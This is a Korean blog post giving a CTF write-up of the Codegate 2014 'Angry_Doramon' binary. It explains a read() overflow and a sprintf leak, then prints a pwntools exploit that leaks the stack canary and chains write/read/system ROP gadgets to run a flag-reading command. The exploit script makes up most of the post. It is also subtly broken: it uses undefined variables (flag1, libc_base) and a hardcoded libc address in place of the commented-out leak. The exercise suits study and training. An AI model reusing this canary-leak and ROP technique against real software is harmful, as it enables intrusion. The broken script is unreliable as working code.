ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate2014 Angry_Doramon
    Pwnable/CTF 2017. 2. 14. 00:47



    다른것 다 생략하고 4번 메뉴에 mouse ~ 어찌구 하는 메뉴에 버퍼오버플로우 + memory leak 취약점이 있다.  "read(fd,&buf,110u)" <-이 부분이 오버플로우 , 그 아래쪽에 sprintf <- 이 함수가 NULL값을 만날때까지 출력이 되기때문에 Memory leak이 된다. 그리고 v8변수가 카나리 변수 이기 때문에 buf[16h] - v8[ch] = 10 즉, 버퍼의 크기는 10 


    그 다음 카나리 릭을 할떄 버퍼의 크기를 10개 넣으면 안된다. 카나리는 메모리 릭을 방지해서 첫 번쨰 주소가 00 으로 되있기때문에 "Y"*11개를 넣어서 해야된다.  (여기서 y를 쳐야되는 이유가 if(buf==121)을 만족시켜야 되기떄문이다 )



    (그냥 빠르게 풀자는 마음으로 하다보니 .. 코드가 많이 더럽습니다 .. 메모리 릭 카나리 릭 익스 따로따로 하였습니다.)


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    #-*- coding: utf-8 -*-
     
    from pwn import *
     
    import hexdump
     
    import time
     
     
     
    p=remote("192.168.146.155",8888)
     
    leak="y"+"C"*10
     
     
     
    ###
     
    flag="cat /home/k0rea/바탕화면/Angry_Doramon/flag>&4\00" #&4 백그라운드 파일 디스크립터 4 
     
    shell="/bin/sh\00"
     
    p3r=0x080495bd
     
    read_plt=0x08048620
     
    read_got=0x0804b010
     
    read_libc=0xb7665980
     
    bss=0x0804b080
     
    write_plt=0x080486E0
     
    write_got=0x0804b040
     
    write_libc=0xb76699f0
     
    base_offset=0xc6c20
     
    canary=0x1076d200
     
    ###
     
    ###위까지 변수목록
     
     
     
    print p.recvuntil('>')
     
    p.sendline("4")
     
    print p.recv(1024)
     
    p.send(leak)
     
    canary_leak=p.recv(1024)[23:26]
     
    canary="\x00"+(canary_leak)
     
    print "Oh.. my.. Canary : "+hex(u32(canary))
     
    #위 코드가 canary leak
     
     
     
     
     
    payload="y"+"A"*9
     
    payload+=p32(canary)
     
    payload+="B"*12
     
    payload+=p32(write_plt)
     
    payload+=p32(p3r)
     
    payload+=p32(4)
     
    payload+=p32(write_got)
     
    payload+=p32(4)
     
     
     
     
     
    #p.sendline(payload)
     
    #write_libc1=u32(p.recv(4))
     
     
     
    print "write_libc: "+ hex(write_libc)
     
    system=write_libc-0x9ac50
     
     
     
    print "libc base: "+hex(libc_base)
     
    print "system Address : "+hex(system)
     
     
     
    #위 까지가 라이브러리 leak
     
     
     
    payload1="y"+"A"*9
     
    payload1+=p32(canary)
     
    payload1+="B"*12
     
     
     
    payload1+=p32(read_plt)
     
    payload1+=p32(p3r)
     
    payload1+=p32(4)
     
    payload1+=p32(bss)
     
    payload1+=p32(len(flag1))
     
     
     
    payload1+=p32(system)
     
    payload1+=p32(0xaabbccdd)
     
    payload1+=p32(bss)
     
     
     
    p.sendline(payload1)
     
    p.sendline(flag1)
     
     
     
    print p.recv(1024)
     
     
     
    #위 까지가 exploit code 
    cs


    문제를 풀어보면서 libc.so.6 를 주는 문제는 다 풀수있을것같은데 .. 안 주는 문제는 오프셋을 구할떄 libcdb.com에서도 맞는게 없거나 너무 많은게 나오거나, libc-database <- 여기꺼는 오프셋이 안맞을떄 .. 으캐 .. 해야될지 감이 안온다 ..이번 문제에서 그랫다 ..


    'Pwnable > CTF' 카테고리의 다른 글

    PlaidCTF 2014 EZHP  (2) 2017.03.10
    codegate 2017 messenger  (1) 2017.03.08
    WITHCON malloc  (0) 2017.03.03
    Codegate 2017 baby_pwn  (0) 2017.02.20
    PlaidCTF 2013 ropasaurusrex  (0) 2017.02.11
Designed by Tistory.